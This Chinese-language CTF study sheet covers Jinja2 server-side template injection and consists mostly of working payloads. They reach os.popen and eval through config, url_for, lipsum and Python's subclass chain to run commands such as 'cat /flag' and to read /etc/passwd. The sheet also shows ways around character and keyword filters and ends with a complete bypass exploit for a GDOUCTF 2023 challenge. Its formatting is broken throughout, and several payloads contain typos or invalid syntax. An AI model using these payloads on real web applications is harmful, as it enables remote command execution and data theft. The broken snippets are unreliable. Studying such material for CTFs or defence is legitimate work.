Jinja2模板注入是一种安全漏洞,发生在使用Jinja2模板引擎的Web应用程序中。当应用程序将用户输入直接嵌入到模板渲染过程中,且未对输入进行适当的过滤或验证时,攻击者可以注入恶意的模板代码。这些恶意代码可能会被Jinja2引擎执行,从而导致未经授权的操作,例如读取服务器文件、执行系统命令或窃取敏感信息。这种漏洞类似于传统的代码注入攻击,但针对的是模板引擎的语法和功能。
相关函数总结 listdir(“/“)函数列出目录文件
open(“flag”,”r”).read()打开文件并读取
eval将字符串作为代码执行
两个内置函数 get_flashed_messages、url_for
{%print(get_flashed_messages.__globals__.os["pop"+"en"]("ls").read())%} {{url_for.__globals__['current_app'].config['FLAG']}}
小trick
['__xxx__']
和.__xxx__
其实没有区别,但是['__xxx__']
可以通过拼接字符串的方式,绕过对xxx字符的过滤。还有['xxx']
和.xxx
。
查看配置文件,作为存储配置信息的变量`config`,这个类中的`__init__`函数全局变量中已经导入了`os`模块,我们可以直接调用。
**_getattribute _()**函数可以拼接两个字符串,可将__init__写成__getattribute__('__in'+'it__')
。
{{config.__init__.__globals__.os.popen('env').read()}}
{{config.__getattribute__('__in'+'it__').__globals__.os.popen('ls').read()}}
{{a.__init__.__globals__['__builtins__'].eval('__import__("os").popen("env").read')}}
{{b.__getattribute__('__in'+'it__').__globals__.__builtins__['__import__']('os').popen('ls').read()}}
## 对config做了限制 1 . 得到object类> `[].__class__`:这会获取空列表(`[]`)的类,即 `list`。 > > `__base__`:在Python 3 中,这是获取对象的基类(即直接父类)的特殊属性。然而,`list` 的基类是 `object`,因为所有新式类都隐式继承自 `object`。 ```jinja2 {{[].__class__.__base__}} {# 过滤了class可以用下面这个,拼接字符串 #} {{session['__cla'+'ss__'].__bases__[0 ].__bases__[0 ].__bases__[0 ]}} {# 多少个__bases__[0 ]自己试 #}
利用__subclasses__
去访问object
类下的所有子类
{{[].__class__.__base__.__subclasses__()}} {{session['__class__'].__bases__[0].__bases__[0].__subclasses__()}} {{session['__cla'+'ss__'].__bases__[0].__bases__[0]['__subcla'+'sses__']()}}
常见可利用的类:**<class ‘os._wrap_close’>, <class ‘warnings.catch_warnings’>, <class ‘site._Printer’>**
**<type ‘file’>**,对文件操作的类,可以用来读取文件。
{{[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()}}
确定一些类中是否含os
模块、__builtins__
模块
{#查看71类下有什么#} {{[].__class__.__base__.__subclasses__()[71].__init__.__globals__}} {{[].__class__.__base__.__subclasses__()[71].__init__.__globals__.os}} {#查看__builtins__模块下有什么#} {{[].__class__.__base__.__subclasses__()[71].__init__.__globals__.__builtins__}}
{#利用popen函数查看目录,读取文件#} {{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
不含os
模块,如果含__builtins__
模块,利用该模块下的eval
函数导入os
模块
{#利用 eval函数执行命令#} {{[].__class__.__base__.__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('ls').read()")}} {{xxx.eval("__import__('os').popen('cat /flag').read()")}}
for
循环遍历匹配遍历object
类下的所有子类,匹配catch_warnings
类
利用open
函数读取文件 {% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__=='catch_warnings' %} {{ c.__init__.__globals__.__builtins__.open('/etc/passwd','r').read()}} {% endif %} {% endfor %} {##} {% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__=='catch_warnings' %} {{ c.__init__.['__glo'+'bals__']['__builtins__']['open']('/etc/passwd','r').read() }} {% endif %} {% endfor %}
import
导入os
模块利用{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__=='catch_warnings' %} {{ c.__init__.__globals__.__builtins__['__imp'+'ort__']('o'+'s').listdir('/')}} {# listdir函数列出 #} {% endif %} {% endfor %}
过滤器 `````
from jinja2 import Templatetemplate_string = """ {{name|capitalize}} """ template = Template(template_string) output = template.render(name="it's Very Good!" ) print (output)
__mro__
:返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__subclasses__
:返回当前类的子类,也可以通过索引的方式定位一个子类。
__init__
:类的初始化方法。
|join
|join
过滤器,用于将列表中的元素连接成一个字符串。
__dict__
:保存类实例或对象实例的属性变量键值对字典
__globals__
:对包含函数全局变量的字典的引用。
__builtin__
:
__builtin__ &&__builtins__ :python中可以直接运行一些函数,例如int(),list()等等。 这些函数可以在__builtin__ 可以查到。查看的方法是dir(__builtins__ ) 在py3中__builtin__ 被换成了builtin 1.在主模块main中,__builtins__ 是对内建模块__builtin__ 本身的引用,即__builtins__ 完全等价于__builtin__ 。 2.非主模块main中,__builtins__ 仅是对__builtin__ .__dict__ 的引用,而非__builtin__ 本身
[GDOUCTF 2023] 过滤了{{}}
,通过{% %}
代替,还过滤了一些危险字符和字符串,我们只能自己设置和拼接了。
设置特殊字符
{% print (lipsum|string|list ) %} {% set pop=dict (pop=1 )|join %} {% set xhx=(lipsum|string|list )|attr(pop)(18 ) %} {% set kg=(lipsum|string|list )|attr(pop)(9 ) %}
发现lipsum
中缺少了我们需要的/
字符,可以通过config
设置,前两个字符在config
中也能找到。
{% print (config|string|list ) %} {% set xg=(config|string|list )|attr(pop)(239 ) %}
拼接并设置关键字符串 |join
过滤器,用于将列表中的元素连接成一个字符串。
{% set gl=(xhx,xhx,dict (glo=a,bals=b)|join,xhx,xhx)|join %} {% set gi=(xhx,xhx,dict (get=a,item=b)|join,xhx,xhx)|join %} {% set so=dict (o=a,s=b)|join %} {% set pp=dict (po=a,pen=b)|join %} {% set shell=(dict (cat=a)|join,kg,xg,dict (flag=a)|join)|join %} {% set re=dict (re=a,ad=b)|join %}
拼接payload
{{lipsum|attr('__globals__' )|attr('__getitem__' )('os' )|attr('popen' )('cat /flag' )|attr('read' )()}} {% print (lipsum|attr(globals )|attr(gi)(so)|attr(pp)(shell)|attr(read)()) %}
exp
{%set %0aop=dict (op=1 )|join%} {%set %0axhx=(config|string|list )|attr(op)(74 )%} {%set %0akg=(config|string|list )|attr(op)(7 )%} {%set %0axg=(config|string|list )|attr(op)(279 )%} {%set %0agl=(xhx,xhx,dict (glo=a,bals=b)|join,xhx,xhx)|join%} {%set %0agi=(xhx,xhx,dict (get=a,item=b)|join,xhx,xhx)|join%} {%set %0 aso=dict (o=a,s=b)|join%} {%set %0app=dict (po=a,pen=b)|join%} {%set %0 ashell=(dict (cat=a)|join,kg,xg,dict (flag=a)|join)|join%} {%set %0ara=dict (re=a,ad=b)|join%} {%print (lipsum|attr(gl)|attr(gi)(so)|attr(pp)(shell)|attr(ra)())%}